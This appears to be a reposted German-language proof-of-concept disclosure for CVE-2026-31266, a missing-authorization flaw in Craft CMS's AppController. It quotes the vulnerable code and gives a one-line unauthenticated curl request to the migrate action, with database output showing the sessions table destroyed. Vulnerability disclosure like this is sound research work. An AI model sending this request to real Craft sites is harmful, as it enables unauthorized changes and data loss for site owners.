Craftcms-PoC-CVE-2026-31266 — Security research on Craft CMS authentication mechanism | Kitploit

CVE-2026-31266 - Craft CMS Fehlende Autorisierung

CVE-Informationen

Feld	Wert
CVE-ID	CVE-2026-31266
Anbieter	Pixel & Tonic
Produkt	Craft CMS
Betroffene Versionen	<= 5.9.5
CWE	CWE-862 (Fehlende Autorisierung)
CVSS	7.3 (Hoch)
Sicherheitsforscher	0xRIXET

Beweisinhalte

screenshots/ - Konzeptnachweis-Demonstrationen

Schwachstelle

Typ: Fehlende Autorisierung
Auswirkung: Authentifizierungsumgehung
Anbieter: Craft CMS
Status: CVE-2026-31266

Angreifbarer Code

Datei: src/controllers/AppController.php

Zeilen 65-68:

protected array|bool|int $allowAnonymous = [
    'migrate' => self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE,
];

Konzeptnachweis

# With allowAdminChanges=false
curl -X POST "http://target/actions/app/migrate"

Nachweis

Vor dem Angriff:

mysql> SELECT COUNT(*) FROM sessions;
+----------+
| COUNT(*) |
+----------+
|        0 |
+----------+

Nach dem Angriff:

mysql> SELECT COUNT(*) FROM sessions;
ERROR 1146 (42S02): Table 'sessions' doesn't exist

Referenzen

Kontakt

Sicherheitsforscher: 0xRIXET | Mohammed Al-shehri
Twitter | X: @0xRIXET
E-Mail: [email protected]

Tool herunterladen